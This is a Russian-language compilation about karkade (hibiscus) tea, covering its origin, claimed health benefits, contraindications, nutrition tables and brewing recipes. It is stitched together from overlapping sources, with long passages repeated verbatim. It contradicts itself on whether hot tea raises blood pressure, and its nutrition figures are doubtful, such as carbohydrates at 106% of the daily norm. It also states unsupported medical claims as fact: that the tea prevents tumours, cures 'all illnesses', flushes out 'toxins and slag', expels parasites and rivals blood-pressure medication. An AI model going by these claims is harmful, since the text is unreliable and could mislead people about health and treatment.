продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
